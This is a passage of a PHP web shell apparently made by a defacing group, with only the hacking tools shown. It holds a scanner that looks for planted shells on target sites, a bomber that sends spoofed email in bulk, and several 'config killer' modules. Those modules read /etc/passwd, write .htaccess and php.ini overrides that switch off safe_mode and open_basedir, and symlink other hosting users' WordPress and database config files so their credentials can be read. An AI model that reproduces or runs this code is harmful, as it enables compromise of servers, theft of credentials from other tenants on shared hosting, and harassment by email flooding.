echo "<br><font size=5> ! Mass Defacing Was Done ! </font>";
}
?>

<?php } 
# x=sscan
elseif(isset($_GET['x']) && ($_GET['x'] == 'sscan')){
 ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=sscan" method="post">

<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ SHELL</span> <span class='b8'>SCANNER ]:=O</span></b></nobr><br/><br/> 
 
<table><form method='POST'>
<tr><td>URL TARGET : <input size=40 style='color:#FF0000;background-color:#000000' name='rem_web' value='http://'></td></tr>
<tr><td><font color=red>INPUT NAMA FILE / SHELL</font></tr></td>
<tr><td><textarea spellcheck='false' class='textarea_edit' style='color:#FF0000;background-color:#000000' cols=50 rows=30 name='tryzzz'>

WSO.php
dz.php
cpanelcracker.php
blackshadow.php
sym.php
ftpcracker.php
cpanel.php
cpn.php
sql.php
mysql.php
madspot.php
itsecteam_shell.php
b374k.php
madsopot.php
indishell.php
Cgishell.pl
killer.php
changeall.php
2.php
Sh3ll.php
dz0.php
dam.php
user.php
dom.php
whmcs.php
r00t.php
c99.php
gaza.php
q.php
1.php
d0mains.php
madspotshell.php
Sym.php
c22.php
c100.php
Cpanel.php
zone-h.php
cp.php
L3b.php
d.php
admin1.php
upload.php
up.php
uploads.php
sa.php
r57.php
shell.php
sa.php
</textarea></td></tr>
<tr><td><br /><input type='submit' style='color:#FF0000;background-color:#000000' value='   >> SCAN >>   ' class='input_big' /><br /><br /></td></tr></form></table><br /><br /><hr /><br /><br />

<?php
set_time_limit(0);
$rtr=array();
echo "<div id=result><center><table>";
$webz=$_POST['rem_web'];
$uri_in=$_POST['tryzzz'];
$r_xuri = trim($uri_in);
$r_xuri=explode("
", $r_xuri);
foreach($r_xuri as $rty)
{
$urlzzx=$webz.$rty;
if(function_exists('curl_init'))
{
echo "<tr><td style='text-align:left'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
$ch = curl_init($urlzzx);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_exec($ch);
$status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if($status_code==200)
{
echo "<td style='text-align:left'><font color=green> Found....</font></td></tr>";
} else {
echo "<td style='text-align:left'><font color=red>Not Found...</font></td></tr>";
 }
 } else {
echo "<font color=red>cURL Not Found </font>";
} }
echo "</table><br /><br /><hr /><br /><br /></div>";
?>

<?php } 
# x=bomail
elseif(isset($_GET['x']) && ($_GET['x'] == 'bomail')){
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=email" method="post">
<html>
<head><title>./DM TE4M</title>
</head>
<center><body bgcolor="black">
<a href="http://www.facebook.com/groups/D.MASTERPIECE"><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"></a><br><br>
<span style="color:white"> --=|[+] BOMB FAKE EMAIL [+]|=--<br/></center>
 <span style="color:#00FF00"><hr></span>
<form method=post>
<input type=hidden value=dm name=dm>
<center><span style="color:#00FF00">-:[ X-EMAIL ]:-</span><br/>
 <span style="color:white">**Isi Dengan Nama Email Palsu**<br/>
<input style="color:lime;background-color:#000000" name=wew value="<?echo $wew; ?>"></center>
<br/>
<center><span style="color:#00FF00">-:[ EMAIL TUJUAN ]:-</span><br/>
 <span style="color:white">**Isi Email Target Bomb Email**</span><br/>
<input style="color:lime;background-color:#000000" name=wow value="<?echo $wow; ?>"></center>
<br/>
<center><span style="color:#00FF00">-:[ SUBJECT ]:-</span> <br/>
 <span style="color:white">**Isi Nama  Judul Pesan**</span><br/>
<input style="color:lime;background-color:#000000" name=anu value="<?echo $anu; ?>"></center>
<br/>
<center><span style="color:#00FF00">-:[ JUMLAH KIRIM ]:-</span><br/>
 <span style="color:white">**Isi Nominal Antara 0 s/d 100**</span><br/> 
<input style="color:lime;background-color:#000000" name=sodok value="<?echo $sodok; ?>"></center>
<br/>
<center><span style="color:#00FF00">-:PESAN ]:-</span><br/>
 <span style="color:white">**Tulis Pesan Kamu**</span><br/> 
<textarea style="color:lime;background-color:#000000" cols="30" rows="50" name=deathnote><?echo $deathnote?></textarea><br/>
<p>
<input style="color:lime;background-color:#000000" type=submit value=./CROTZ></center></form>
<span style="color:#00FF00"><hr></span> 
 <span style="color:yellow">
<?php
//DMASTERPIECE TE4M Introduction
$dm = $_POST['dm'];
//Fungsi Pengirim Email
$wew = $_POST['wew'];
//Fungsi Penerima Email
$wow = $_POST['wow'];
//Fungsi Jumlah Pesan Yg Akan Di Kirim
$sodok = $_POST['sodok'];
//Fungsi Subject Atau Judul
$anu = $_POST['anu'];
//Fungsi Isi Pesan
$deathnote = $_POST['deathnote'];

if ($dm=="dm" ) {
for ($i=0;$i <$sodok;$i++) {
$a= $wew;
$janda = $anu.$i;
mail( $wow,$janda,$deathnote.str_repeat(" ", 0*$xdm),"From: $a <$a>
" );
} echo (" <center>* SUKSES :D | HAJAR LAGI BOS :P *</center>");
}
//WE ARE DMASTERPIECE
//WE ARE LEGION
//WE ARE FAMILY
//WE DO NOT FORGIVE
//WE DO NOT FORGET
//EXPECT US
exit;
?>
 

<?php }
# x=plesk
elseif(isset($_GET['x']) && ($_GET['x'] == 'plesk')){ ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=plesk" method="post">
<?php
@mkdir('plesk', 0777);
$hta="Options all 

DirectoryIndex Sux.html 

AddType text/plain .php

AddHandler server-parsed .php";
$htaccess=@fopen('plesk/.htaccess', 'w');
fwrite($htaccess, $hta);
@symlink("/", "plesk/dm.txt");
?>

<?php } 
// x=apache
elseif(isset($_GET['x']) && ($_GET['x'] == 'apache')){	
// symlink apache + config killer
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=apache" method="post">
<?php
$head = '
<html>
<head>
</script>
<title>APACHE</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';
  document.cookie=id+\'=0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';
  document.cookie=id+\'=1;\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>'; ?>
<html>
<head>
<?php echo $head; ?>
<body bgcolor=black><center><br/><br/> <img src="http://silk.apana.org.au/graphics/apache_logo.gif">
<form method=post><br/><br/>
<nobr><b><span class='b7'>O=:[ APACHE</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
 
<?php
if(isset($_POST['usre'])){
?>
<form method=post>
<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."
";
}

?></textarea><br><br>
<input type=submit style=color:#FF0000;background-color:#000000 name=su value="EXECUTE" /></form><br/>
<?php } ?>

<?php
error_reporting(0);
if(isset($_POST['su'])){
mkdir('dm',0777);
$rr  = "Options all 

DirectoryIndex Sux.html 

AddType text/plain .php 

AddType text/plain .html 

AddType text/plain .bak 

AddType text/plain .old 
 
AddHandler server-parsed .php 

AddHandler txt .html 
 
Require None 
 Satisfy Any";
$g = fopen('dm/.htaccess','w');
fwrite($g,$rr);
$dm = symlink("/","dm/dm.txt");
$rt="<a href=dm/dm.txt><b><span class='b11'>[ SYMLINK ]</span></b></a>";
echo "<nobr>[~]&nbsp;";
echo "$rt";
 
$dir=mkdir('DM',0777);
$r = "Options all 

DirectoryIndex Sux.html 

AddType text/plain .php 

AddType text/plain .html 

AddType text/plain .bak 

AddType text/plain .old 
 
AddHandler server-parsed .php 

AddHandler txt .html 

Require None 

Satisfy Any";
$f = fopen('DM/.htaccess','w');
fwrite($f,$r);
$consym="<a href=DM/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
echo "&nbsp;[~]&nbsp;";
echo "$consym";
echo "&nbsp;[~]</nobr>"; 
       	
$usr=explode("
",$_POST['user']);
$configuration=array(
"aksi.php",
"aksi.php.old",
"aksi.php.bak",
"conf.php",
"conf.php.old",
"conf.php.bak",
"conf_global.php",
"conf_global.php.old",
"conf_global.php.bak",
"config.php",
"config.php.old",
"config.php.bak",
"configuration.php",
"configuration.php.old",
"configuration.php.bak",
"conn.php",
"conn.php.old",
"conn.php.bak",
"connect.php",
"connect.php.old",
"connect.php.bak",
"connection.php",
"connection.php.old",
"connection.php.bak",
"db.php",
"db.php.old",
"db.php.bak",
"database.php",
"database.php.old",
"database.php.bak",
"inc.php",
"inc.php.old",
"inc.php.bak",
"koneksi.php",
"koneksi.php.old",
"koneksi.php.bak",
"mysql.php",
"myqsl.php.old",
"mysql.php.bak",
"setting.php",
"setting.php.old",
"setting.php.bak",
"Settings.php",
"Settings.php.old",
"Settings.php.bak",
"sql.php",
"sql.php.old",
"sql.php.bak");
foreach($usr as $uss ){
$us=trim($uss);
foreach($configuration as $c){
$rs="/home/".$us."/public_html/".$c;
$r="DM/".$us."~".$c;
symlink($rs,$r);
}
}
}
?>

<?php } 
// x=hostgator
elseif(isset($_GET['x']) && ($_GET['x'] == 'hostgator')){
// symlink hostgator + config killer
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=hostgator" method="post">
<?php
$head = '
<html>
<head><title>HOSTGATOR</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script language=\'javascript\'>
function hide_div(id){
 document.getElementById(id).style.display = \'none\';
 document.cookie=id+\'=0;\';
}

function show_div(id){
document.getElementById(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}

function change_divst(id){
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>'; ?>
<html>
<head>
<?php echo $head; ?>
<body bgcolor=black><center><br/><br/><img src="http://partnernoc.cpanel.net/logo/822-4021-logo.png">
<form method=post><br/><br/>
<nobr><b><span class='b7'>O=:[ HOSTGATOR</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>

<?php
if(isset($_POST['usre'])){
?>
<form method=post>
<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user){
$str=explode(":",$user);
echo $str[0]."
";
}
?></textarea><br><br>
<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
<?php } ?>

<?php
error_reporting(0);
if(isset($_POST['su'])){
mkdir('hostgator',0777);
$r  = "Options +FollowSymLinks 
 
DirectoryIndex Sux.html 
 
Options +Indexes 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
 
AddType text/plain.html "; 
$g = fopen('hostgator/.htaccess','w'); 
fwrite($g,$rr); 
$dm = symlink("/","hostgator/dm.ini");
$rt="<a href=hostgator/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
echo "<nobr>[~]&nbsp;";
echo "$rt";
		
$dir=mkdir('HOSTGATOR',0777);
$rr = "Safe_mode = OFF 
 
Disable_functions = NONE 
 
Open_basedir = OFF";
$f = fopen('HOSTGATOR/php.ini','w');
fwrite($f,$rr);

$rrr  = "Options +FollowSymLinks 
 
DirectoryIndex Sux.html 
 
Options +Indexes 
 
AddType text/plain .php 
 
AddHandler server-parsed .php 
 
AddType text/plain.html "; 
$ff = fopen('HOSTGATOR/.htaccess','w'); 
fwrite($ff,$rrr); 

$consym="<a href=HOSTGATOR/>
<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
echo "&nbsp;[~]&nbsp;";
echo "$consym";
echo "&nbsp;[~]</nobr>";
       	
$usr=explode("
",$_POST['user']);
$configuration=array("wp-config.ini",
"wordpress/wp-config.ini",
"configuration.ini",
"blog/wp-config.ini",
"joomla/configuration.ini",
"vb/includes/config.ini",
"includes/config.ini",
"conf_global.ini",
"inc/config.ini",
"config.ini",
"Settings.ini",
"sites/default/settings.ini",
"whm/configuration.ini",
"whmcs/configuration.ini",
"support/configuration.ini",
"whmc/WHM/configuration.ini",
"whm/WHMCS/configuration.ini",
"whm/whmcs/configuration.ini",
"support/configuration.ini",
"clients/configuration.ini",
"client/configuration.ini",
"clientes/configuration.ini",
"cliente/configuration.ini",
"clientsupport/configuration.ini",
"billing/configuration.ini",
"admin/config.ini");
foreach($usr as $uss ){ 
$us=trim($uss); 
foreach($configuration as $c){ 
$rs="/home/".$us."/public_html/".$c;
$r="HOSTGATOR/".$us."~".$c; 
symlink($rs,$r); 
}
}
}
?> 
 
<?php } 
// x=bluehost
elseif(isset($_GET['x']) && ($_GET['x'] == 'bluehost')){
// symlink bluehost + config killer
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=bluehost" method="post">
<?php
$head = '
<html>
<head><title>BLUEHOST</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script language=\'javascript\'>
function hide_div(id){
 document.getElementById(id).style.display = \'none\';
 document.cookie=id+\'=0;\';
}

function show_div(id){
document.getElementById(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}

function change_divst(id){
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>'; ?>
<html>
<head>
<?php echo $head; ?>
<body bgcolor=black>
<center><br/><br/>
<img src="http://www.ananova.com/wp-content/uploads/2013/04/bluehost-review-by-toptenhostings.jpg">
<form method=post><br/><br/><nobr><b><span class='b7'>O=:[ BLUEHOST</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>

<?php
if(isset($_POST['usre'])){
?>
<form method=post>
<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user){
$str=explode(":",$user);
echo $str[0]."
";
}
?></textarea><br><br>
<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
<?php } ?>
<?php
error_reporting(0);
echo "<font color=white size=2 face=\"comic sans ms\">";
if(isset($_POST['su'])){
mkdir('bluehost',0777);
$rr  = "AllowOverride All None 

DirectoryIndex index.html index.htm index.php index.php4 index.php5 
 
AddType application/octet-stream .php 

AddHandler server-parsed .php 

Addhandler cgi-script .asp 

AddType ini .php 

AddHandler ini .php";
$g = fopen('bluehost/.htaccess','w');
fwrite($g,$rr);
$dm = symlink("/","bluehost/dm.ini");
$rt="<a href=bluehost/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
echo "<nobr>[~]&nbsp;";
echo "$rt";
		
$dir=mkdir('BLUEHOST',0777);
$r = "Options all 
 DirectoryIndex Sux.html 

AddType text/plain .php 

AddHandler server-parsed .php 

AddType text/plain .html 

AddHandler txt .html 

Require None 

Satisfy Any";
$f = fopen('BLUEHOST/.htaccess','w');
fwrite($f,$r);
$consym="<a href=BLUEHOST/><span class='b11'>[ CONFIG KILLER ]</span></b></a>";
echo "&nbsp;[~]&nbsp;";
echo "$consym";
echo "&nbsp;[~]</nobr>";
       	
$usr=explode("
",$_POST['user']);
$configuration=array("wp-config.ini",
"wordpress/wp-config.ini",
"configuration.ini",
"blog/wp-config.ini",
"joomla/configuration.ini",
"vb/includes/config.ini",
"includes/config.ini",
"conf_global.ini",
"inc/config.ini",
"config.ini",
"Settings.ini",
"sites/default/settings.ini",
"whm/configuration.ini",
"whmcs/configuration.ini",
"support/configuration.ini",
"whmc/WHM/configuration.ini",
"whm/WHMCS/configuration.ini",
"whm/whmcs/configuration.ini",
"support/configuration.ini",
"clients/configuration.ini",
"client/configuration.ini",
"clientes/configuration.ini",
"cliente/configuration.ini",
"clientsupport/configuration.ini",
"billing/configuration.ini",
"admin/config.ini");

foreach($usr as $uss ){
$us=trim($uss);
foreach($configuration as $c){
$rs="/home/".$us."/public_html/".$c;
$rs="/home1/".$us."/public_html/".$c;
$rs="/home2/".$us."/public_html/".$c;
$rs="/home3/".$us."/public_html/".$c;
$rs="/home4/".$us."/public_html/".$c;
$rs="/home5/".$us."/public_html/".$c;
$rs="/home6/".$us."/public_html/".$c;
$rs="/home7/".$us."/public_html/".$c;
$rs="/home8/".$us."/public_html/".$c;
$r="BLUEHOST/".$us."~".$c;
symlink($rs,$r);
}
}
}
?> 
 <?php } 
// x=ovh
elseif(isset($_GET['x']) && ($_GET['x'] == 'ovh')){
// symlink ovh + config killer
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=ovh" method="post">
<?php
$head = '
<html>
<head><title>OVH</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script language=\'javascript\'>
function hide_div(id){
 document.getElementById(id).style.display = \'none\';
 document.cookie=id+\'=0;\';
}

function show_div(id){
document.getElementById(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}

function change_divst(id){
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>'; ?>
<html>
<head>
<?php echo $head; ?>
<body bgcolor=black><center><br/><br/><img src="http://alsace-international.eu/IMG/LOGOS/Entreprises/OVH_Logo.gif">
<form method=post><br/><br/>
<nobr><b><span class='b7'>O=:[ OVH</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>

<?php
if(isset($_POST['usre'])){
?>
<form method=post>
<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user){
$str=explode(":",$user);
echo $str[0]."
";
}
?></textarea><br><br>
<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
<?php } ?>

<?php
error_reporting(0);
if(isset($_POST['su'])){
mkdir('ovh',0777);
$r = "AllowOverride All None 

DirectoryIndex index.html index.htm index.php index.php4 index.php5 
 
AddType application/octet-stream .php 

AddHandler server-parsed .php 

Addhandler cgi-script .asp 

AddType ini .php 

AddHandler ini .php"; 
$g = fopen('ovh/.htaccess','w'); 
fwrite($g,$rr); 
$dm = symlink("/","ovh/dm.ini");
$rt="<a href=ovh/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
echo "<nobr>[~]&nbsp;";
echo "$rt";
		
$dir=mkdir('OVH',0777);
$rr = "Safe_mode = OFF 
 
Disable_functions = NONE 
 
Open_basedir = OFF";
$f = fopen('OVH/php.ini','w');
fwrite($f,$rr);

$rrr  = "AllowOverride All None 

DirectoryIndex index.html index.htm index.php index.php4 index.php5 
 
AddType application/octet-stream .php 

AddHandler server-parsed .php 

AddHandler cgi-script .asp 

AddType ini .php 

AddHandler ini .php"; 
$ff = fopen('OVH/.htaccess','w'); 
fwrite($ff,$rrr); 

$consym="<a href=OVH/>
<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
echo "&nbsp;[~]&nbsp;";
echo "$consym";
echo "&nbsp;[~]</nobr>";
       	
$usr=explode("
",$_POST['user']);
$configuration=array("wp-config.ini",
"wordpress/wp-config.ini",
"configuration.ini",
"blog/wp-config.ini",
"joomla/configuration.ini",
"vb/includes/config.ini",
"includes/config.ini",
"conf_global.ini",
"inc/config.ini",
"config.ini",
"Settings.ini",
"sites/default/settings.ini",
"whm/configuration.ini",
"whmcs/configuration.ini",
"support/configuration.ini",
"whmc/WHM/configuration.ini",
"whm/WHMCS/configuration.ini",
"whm/whmcs/configuration.ini",
"support/configuration.ini",
"clients/configuration.ini",
"client/configuration.ini",
"clientes/configuration.ini",
"cliente/configuration.ini",
"clientsupport/configuration.ini",
"billing/configuration.ini",
"admin/config.ini");
foreach($usr as $uss ){ 
$us=trim($uss); 
foreach($configuration as $c){
$rs="/homez.0/".$us."/www/".$c;
$rs="/homez.1/".$us."/www/".$c;
$rs="/homez.2/".$us."/www/".$c;
$rs="/homez.3/".$us."/www/".$c;
$rs="/homez.4/".$us."/www/".$c;
$rs="/homez.5/".$us."/www/".$c;
$rs="/homez.6/".$us."/www/".$c;
$rs="/homez.7/".$us."/www/".$c;
$rs="/homez.8/".$us."/www/".$c;
$rs="/homez.9/".$us."/www/".$c;
$rs="/homez.10/".$us."/www/".$c;
$rs="/homez.11/".$us."/www/".$c;
$rs="/homez.12/".$us."/www/".$c;
$rs="/homez.13/".$us."/www/".$c;
$rs="/homez.14/".$us."/www/".$c;
$rs="/homez.15/".$us."/www/".$c;
$rs="/homez.16/".$us."/www/".$c;
$rs="/homez.17/".$us."/www/".$c;
$rs="/homez.18/".$us."/www/".$c;
$rs="/homez.19/".$us."/www/".$c;
$rs="/homez.20/".$us."/www/".$c;
$rs="/homez.21/".$us."/www/".$c;
$rs="/homez.22/".$us."/www/".$c;
$rs="/homez.23/".$us."/www/".$c;
$rs="/homez.24/".$us."/www/".$c;
$rs="/homez.25/".$us."/www/".$c;
$rs="/homez.26/".$us."/www/".$c;
$rs="/homez.27/".$us."/www/".$c;
$rs="/homez.28/".$us."/www/".$c;
$rs="/homez.29/".$us."/www/".$c;
$rs="/homez.30/".$us."/www/".$c;
$rs="/homez.31/".$us."/www/".$c;
$rs="/homez.32/".$us."/www/".$c;
$rs="/homez.33/".$us."/www/".$c;
$rs="/homez.34/".$us."/www/".$c;
$rs="/homez.35/".$us."/www/".$c;
$rs="/homez.36/".$us."/www/".$c;
$rs="/homez.37/".$us."/www/".$c;
$rs="/homez.38/".$us."/www/".$c;
$rs="/homez.39/".$us."/www/".$c;
$rs="/homez.40/".$us."/www/".$c;
$rs="/homez.41/".$us."/www/".$c;
$rs="/homez.42/".$us."/www/".$c;
$rs="/homez.43/".$us."/www/".$c;
$rs="/homez.44/".$us."/www/".$c;
$rs="/homez.45/".$us."/www/".$c;
$rs="/homez.46/".$us."/www/".$c;
$rs="/homez.47/".$us."/www/".$c;
$rs="/homez.48/".$us."/www/".$c;
$rs="/homez.49/".$us."/www/".$c;
$rs="/homez.50/".$us."/www/".$c;
$rs="/homez.51/".$us."/www/".$c;
$rs="/homez.52/".$us."/www/".$c;
$rs="/homez.53/".$us."/www/".$c;
$rs="/homez.54/".$us."/www/".$c;
$rs="/homez.55/".$us."/www/".$c;
$rs="/homez.56/".$us."/www/".$c;
$rs="/homez.57/".$us."/www/".$c;
$rs="/homez.58/".$us."/www/".$c;
$rs="/homez.59/".$us."/www/".$c;
$rs="/homez.60/".$us."/www/".$c;
$rs="/homez.61/".$us."/www/".$c;
$rs="/homez.62/".$us."/www/".$c;
$rs="/homez.63/".$us."/www/".$c;
$rs="/homez.64/".$us."/www/".$c;
$rs="/homez.65/".$us."/www/".$c;
$rs="/homez.66/".$us."/www/".$c;
$rs="/homez.67/".$us."/www/".$c;
$rs="/homez.68/".$us."/www/".$c;
$rs="/homez.69/".$us."/www/".$c;
$rs="/homez.70/".$us."/www/".$c;
$rs="/homez.71/".$us."/www/".$c;
$rs="/homez.72/".$us."/www/".$c;
$rs="/homez.73/".$us."/www/".$c;
$rs="/homez.74/".$us."/www/".$c;
$rs="/homez.75/".$us."/www/".$c;
$rs="/homez.76/".$us."/www/".$c;
$rs="/homez.77/".$us."/www/".$c;
$rs="/homez.78/".$us."/www/".$c;
$rs="/homez.79/".$us."/www/".$c;
$rs="/homez.80/".$us."/www/".$c;
$rs="/homez.81/".$us."/www/".$c;
$rs="/homez.82/".$us."/www/".$c;
$rs="/homez.83/".$us."/www/".$c;
$rs="/homez.84/".$us."/www/".$c;
$rs="/homez.85/".$us."/www/".$c;
$rs="/homez.86/".$us."/www/".$c;
$rs="/homez.87/".$us."/www/".$c;
$rs="/homez.88/".$us."/www/".$c;
$rs="/homez.89/".$us."/www/".$c;
$rs="/homez.100/".$us."/www/".$c;
$rs="/homez.101/".$us."/www/".$c;
$rs="/homez.102/".$us."/www/".$c;
$rs="/homez.103/".$us."/www/".$c;
$rs="/homez.104/".$us."/www/".$c;
$rs="/homez.105/".$us."/www/".$c;
$rs="/homez.106/".$us."/www/".$c;
$rs="/homez.107/".$us."/www/".$c;
$rs="/homez.108/".$us."/www/".$c;
$rs="/homez.109/".$us."/www/".$c;
$rs="/homez.110/".$us."/www/".$c;
$rs="/homez.111/".$us."/www/".$c;
$rs="/homez.112/".$us."/www/".$c;
$rs="/homez.113/".$us."/www/".$c;
$rs="/homez.114/".$us."/www/".$c;
$rs="/homez.115/".$us."/www/".$c;
$rs="/homez.116/".$us."/www/".$c;
$rs="/homez.117/".$us."/www/".$c;
$rs="/homez.118/".$us."/www/".$c;
$rs="/homez.119/".$us."/www/".$c;
$rs="/homez.120/".$us."/www/".$c;
$rs="/homez.121/".$us."/www/".$c;
$rs="/homez.122/".$us."/www/".$c;
$rs="/homez.123/".$us."/www/".$c;
$rs="/homez.124/".$us."/www/".$c;
$rs="/homez.125/".$us."/www/".$c;
$rs="/homez.126/".$us."/www/".$c;
$rs="/homez.127/".$us."/www/".$c;
$rs="/homez.128/".$us."/www/".$c;
$rs="/homez.129/".$us."/www/".$c;
$rs="/homez.130/".$us."/www/".$c;
$r="OVH/".$us."~".$c; symlink($rs,$r);
}
}
}
?>

<?php } 
// x=litespeed
elseif(isset($_GET['x']) && ($_GET['x'] == 'litespeed')){	
// symlink litespeed-nginx + config killer
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=litespeed" method="post">
<?php
$head = '
<html>
<head>
</script>
<title>LITESPEED - APACHE</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';
  document.cookie=id+\'=0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';
  document.cookie=id+\'=1;\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>'; ?>
<html>
<head>
<?php echo $head; ?>
<body bgcolor=black><center><br/><br/> <img src="http://www.ftt.co.uk/images/nginx.png"><br/><img src="http://www.litespeedtech.com/images/litespeed/Subpage_misc/LSWS_logo.png">
<form method=post><br/><br/>
<nobr><b><span class='b7'>O=:[ LITESPEED - NGINX</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
 
<?php
if(isset($_POST['usre'])){
?>
<form method=post>
<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."
";
}

?></textarea><br><br>
<input type=submit style=color:#FF0000;background-color:#000000 name=su value="EXECUTE" /></form><br/>
<?php } ?>

<?php
error_reporting(0);
if(isset($_POST['su'])){
mkdir('litespeed',0777);
$rr  = "Options +FollowSymlinks 

Options +IncludesNoExec -ExecCGI 

DirectoryIndex index.html index.shtml index.htm index.php 

RemoveHandler .php 

AddType text/html .shtml 

AddType application/octet-stream .php 

AddHandler server-parsed .shtml";
$g = fopen('litespeed/.htaccess','w');
fwrite($g,$rr);
$dm = symlink("/","litespeed/dm.shtml");
$rt="<a href=litespeed/dm.shtml><b><span class='b11'>[ SYMLINK ]</span></b></a>";
echo "<nobr>[~]&nbsp;";
echo "$rt";
 
$dir=mkdir('LITESPEED',0777);
$r = "Options +FollowSymlinks 

Options +IncludesNoExec -ExecCGI 

DirectoryIndex index.html index.shtml index.htm index.php 

RemoveHandler .php 

AddType text/html .shtml 

AddType application/octet-stream .php 

 AddHandler server-parsed .shtml";
$f = fopen('LITESPEED/.htaccess','w');
fwrite($f,$r);
$consym="<a href=LITESPEED/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
echo "&nbsp;[~]&nbsp;";
echo "$consym";
echo "&nbsp;[~]</nobr>"; 
       	
$usr=explode("
",$_POST['user']);
$configuration=array(
"aksi.php",
"aksi.php.old",
"aksi.php.bak",
"conf.php",
"conf.php.old",
"conf.php.bak",
"conf_global.php",
"conf_global.php.old",
"conf_global.php.bak",
"config.php",
"config.php.old",
"config.php.bak",
"configuration.php",
"configuration.php.old",
"configuration.php.bak",
"conn.php",
"conn.php.old",
"conn.php.bak",
"connect.php",
"connect.php.old",
"connect.php.bak",
"connection.php",
"connection.php.old",
"connection.php.bak",
"db.php",
"db.php.old",
"db.php.bak",
"database.php",
"database.php.old",
"database.php.bak",
"inc.php",
"inc.php.old",
"inc.php.bak",
"koneksi.php",
"koneksi.php.old",
"koneksi.php.bak",
"mysql.php",
"myqsl.php.old",
"mysql.php.bak",
"setting.php",
"setting.php.old",
"setting.php.bak",
"Settings.php",
"Settings.php.old",
"Settings.php.bak",
"sql.php",
"sql.php.old",
"sql.php.bak");
foreach($usr as $uss ){
$us=trim($uss);
foreach($configuration as $c){
$rs="/home/".$us."/public_html/".$c;
$r="LITESPEED/".$us."~".$c;
symlink($rs,$r);
}
}
}
?>
 
 
 <?php }
// x=mysql1
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql1')) { 

if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) { 
$sqlhost = $_GET['sqlhost'];
$sqluser = $_GET['sqluser'];
$sqlpass = $_GET['sqlpass'];
$sqlport = $_GET['sqlport'];    
if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
$msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">"; 
$msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport; 
$msg .= "&nbsp;&nbsp;<span class=\"gaya\">-&gt;</span>&nbsp;&nbsp;<a href=\"?dm=".$pwd."&amp;x=mysql&amp;

sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;
sqlpass=".$sqlpass."&amp;
sqlport=".$sqlport."&amp;\">[ databases ]</a>"; 
